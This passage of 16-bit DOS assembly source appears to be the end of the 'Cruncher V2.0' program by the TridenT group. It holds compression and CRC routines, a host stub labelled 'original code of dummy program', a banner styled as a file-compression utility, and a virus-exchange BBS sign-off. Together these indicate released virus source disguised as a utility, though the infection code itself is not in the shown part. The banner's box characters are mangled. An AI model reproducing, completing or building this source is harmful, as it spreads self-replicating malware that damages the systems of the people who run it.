mov bp,0FE00
xor di,di
xor dx,dx
loc_253:
mov ax,dx
mov cx,8
locloop_254:
shr ax,1
jnc loc_255
xor ax,0A001h
loc_255:
loop locloop_254
mov [bp+di],ax
inc di
inc di
inc dl
jnz loc_253
ret
sub_24 endp
;---------------------------------------------------------------------
;
;---------------------------------------------------------------------
sub_25 proc near
push bp
push cx
mov bp,8000
mov cx,2000h
locloop_256:
mov bx,[bp]
mov ax,bx
sub ax,si
cmp ax,0E000h
jb loc_257
sub bx,0C000h
jmp short loc_258
loc_257:
xor bx,bx
loc_258:
mov [bp],bx
inc bp
inc bp
loop locloop_256
pop cx
pop bp
ret
sub_25 endp
;---------------------------------------------------------------------
;
;---------------------------------------------------------------------
sub_26 proc near
lodsw
dec si
mov cx,103h
mov bp,ax
shr bp,cl
mov cl,al
and cl,7
shl ch,cl
test ch,[bp-4000h]
pushf
or [bp-4000h],ch
and ah,1Fh
shl ax,1
mov bp,ax
mov cx,[bp-8000h]
mov [bp-8000h],si
jcxz loc_259
sub cx,si
cmp cx,0E000h
jae loc_259
xor cx,cx
loc_259:
mov bp,si
shl bp,1
and bp,3FFFh
mov [bp],cx
popf
jnz loc_260
xor cx,cx
mov [bp+4000h],cx
ret
loc_260:
push bp
lodsb
mov di,si
dec si
loc_261:
dec di
mov cx,[bp]
add di,cx
shl cx,1
jz loc_262
add bp,cx
and bp,3FFFh
mov cx,di
sub cx,si
cmp cx,0E000h
jb loc_263
scasb
jnz loc_261
cmp di,si
jae loc_261
loc_262:
pop bp
mov [bp+4000h],cx
or cx,cx
ret
loc_263:
xor cx,cx
jmp short loc_262
sub_26 endp
;---------------------------------------------------------------------
;
;---------------------------------------------------------------------
sub_27 proc near
push es
push bp
push di
push dx
push ds
pop es
call sub_26
mov bx,cx
mov ax,1
jnz loc_264
jmp loc_276
loc_264:
push bp
mov cx,103h
mov ax,[si]
mov bp,ax
shr bp,cl
mov cl,al
and cl,7
shl ch,cl
test ch,[bp-4000h]
pop bp
mov ax,2
jz loc_272
mov dx,si
inc si
mov di,si
xor ax,ax
jmp short loc_266
loc_265:
pop di
pop si
loc_266:
mov cx,[bp+4000h]
add di,cx
shl cx,1
jz loc_271
add bp,cx
and bp,3FFFh
mov cx,di
sub cx,si
cmp cx,0E000h
jb loc_271
push si
push di
mov cx,ax
jcxz loc_267
repe cmpsb
jnz loc_265
cmp di,dx
jae loc_265
loc_267:
inc ax
cmpsb
jnz loc_270
loc_268:
cmp di,dx
jae loc_270
inc ax
cmp ax,10Fh
jb loc_269
mov ax,10Fh
pop di
pop si
mov bx,di
sub bx,si
jmp short loc_271
loc_269:
cmpsb
jz loc_268
loc_270:
pop di
pop si
mov bx,di
sub bx,si
jmp short loc_266
loc_271:
mov si,dx
inc ax
loc_272:
xor cx,cx
cmp cs:data_166,cx
jne loc_273
cmp cs:data_167,ax
jae loc_273
mov ax,cs:data_167
loc_273:
cmp ax,2
jb loc_276
jnz loc_274
cmp bx,0F700h
jae loc_274
dec ax
jmp short loc_276
loc_274:
push ax
mov cx,ax
dec cx
locloop_275:
push cx
call sub_26
pop cx
loop locloop_275
pop ax
loc_276:
pop dx
pop di
pop bp
pop es
ret
sub_27 endp
;---------------------------------------------------------------------------
; buffer + text
;---------------------------------------------------------------------------
buffer db 0CDh, 20 ;original code of dummy program
db (BUFLEN-2) dup (?)
printme db 7, 0Dh, 0A
db '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ', 0Dh, 0A
db '<27> *** CRUNCHER V2.0 *** Automatic file compression utility <20>', 0Dh, 0A
db '<27> Written by Masud Khafir of the TridenT group (c) 31/12/92 <20>', 0Dh, 0A
db '<27> Greetings to Fred Cohen, Light Avenger and Teddy Matsumoto <20>', 0Dh, 0A
db '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ', 0Dh, 0A
db '$'
last:
_TEXT ends
end first

; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>